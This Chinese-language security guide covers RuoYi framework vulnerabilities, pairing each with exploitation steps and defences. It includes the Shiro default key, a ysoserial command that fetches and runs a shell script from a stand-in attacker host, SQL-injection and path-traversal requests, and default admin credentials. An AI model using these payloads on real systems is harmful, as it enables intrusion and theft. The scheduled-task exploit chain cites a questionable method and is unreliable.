若依(RuoYi)框架漏洞战争手册
字数 1455 2025-08-29 22:41:44
若依(RuoYi)框架漏洞战争手册 - 深度解析与防御指南
1. 若依框架简介与安全现状
若依(RuoYi)是基于Spring Boot和Shiro的快速开发框架,广泛应用于国内企业级应用开发。然而其默认配置和部分功能存在严重安全隐患:
- 使用已知的Shiro默认密钥,导致反序列化漏洞风险
- 多处存在SQL注入漏洞点
- 定时任务功能可被滥用执行恶意代码
- 开发者安全意识不足导致的配置缺陷
2. 关键漏洞分析与利用
2.1 Shiro默认密钥漏洞
漏洞原理:
- 若依框架默认使用Shiro的硬编码密钥
kPH+bIxk5D2deZiIxcaaaA== - 攻击者可利用此密钥构造恶意序列化数据,实现远程代码执行
利用步骤:
- 使用ysoserial生成payload:
java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh | bash" > payload.ser - 使用Shiro默认密钥加密payload:
python shiro_exploit.py -t http://target.com -k kPH+bIxk5D2deZiIxcaaaA== -p payload.ser - 发送恶意RememberMe Cookie实现RCE
防御措施:
- 修改
shiro.yml中的cipherKey为随机强密钥 - 升级Shiro到最新版本
- 禁用RememberMe功能(如非必要)
2.2 SQL注入漏洞
高危位置:
- 分页查询接口(
/system/user/list) - 数据字典查询(
/system/dict/data) - 动态SQL拼接处
典型利用:
GET /system/user/list?orderBy=update_time%20and%20(select%20extractvalue(1,concat(0x7e,(select%20user()),0x7e)))--+ HTTP/1.1
防御方案:
- 使用MyBatis的
#{}预编译语法替代${} - 实现严格的输入过滤和参数校验
- 启用SQL注入防护组件如SQL防火墙
2.3 定时任务RCE漏洞
漏洞原理:
- 定时任务功能允许执行任意Bean方法
- 攻击者可上传恶意JSP后通过定时任务调用
利用链:
- 通过文件上传漏洞上传webshell
- 创建定时任务调用
org.springframework.web.context.request.RequestContextUtils.getRequestAttributes() - 通过反射机制执行系统命令
防护建议:
- 严格限制定时任务可调用的类和方法
- 实现任务执行日志审计
- 禁用危险反射操作
3. 其他高危漏洞
3.1 默认弱口令
- 默认管理员账号admin/admin123
- 建议强制修改初始密码并启用双因素认证
3.2 任意文件读取
GET /common/download/resource?resource=/../../../../etc/passwd HTTP/1.1
防护:限制文件访问路径,实现路径规范化检查
3.3 XSS漏洞
- 多处存在存储型和反射型XSS
- 解决方案:启用CSP,严格过滤富文本内容
4. 安全加固指南
4.1 基础加固
- 修改所有默认凭证
- 禁用Swagger等开发接口
- 限制注册和密码重置功能
4.2 代码层加固
// 示例:安全的SQL查询
@GetMapping("/list")
public TableDataInfo list(User user) {
// 使用预编译方式
return getDataTable(userService.selectUserList(user));
}
// 示例:安全的文件下载
public void download(String resource, HttpServletResponse response) {
// 验证路径合法性
if (!ResourceUtils.isValidPath(resource)) {
throw new RuntimeException("非法资源路径");
}
// ...其余下载逻辑
}
4.3 运维层防护
- 部署WAF拦截常见攻击
- 定期更新依赖组件
- 实施最小权限原则
5. 渗透测试检查清单
- [ ] Shiro默认密钥检测
- [ ] SQL注入测试(重点分页、排序参数)
- [ ] 定时任务功能审计
- [ ] 文件上传与下载测试
- [ ] 默认凭证爆破
- [ ] XSS漏洞验证
- [ ] CSRF防护检查
- [ ] 敏感接口未授权访问
6. 应急响应建议
入侵迹象:
- 异常定时任务创建
- 系统出现未知进程
- 日志中有可疑SQL语句
响应步骤:
- 立即隔离受影响系统
- 检查最近修改的文件和任务
- 审计所有用户会话
- 更新所有安全凭证
- 修复已发现的漏洞
7. 参考资源
- 若依官方安全公告
- Shiro反序列化漏洞白皮书
- OWASP Top 10防护指南
- Spring安全最佳实践
通过全面了解这些漏洞原理和防护措施,开发者可以构建更安全的若依应用,安全人员也能有效检测和防御相关攻击。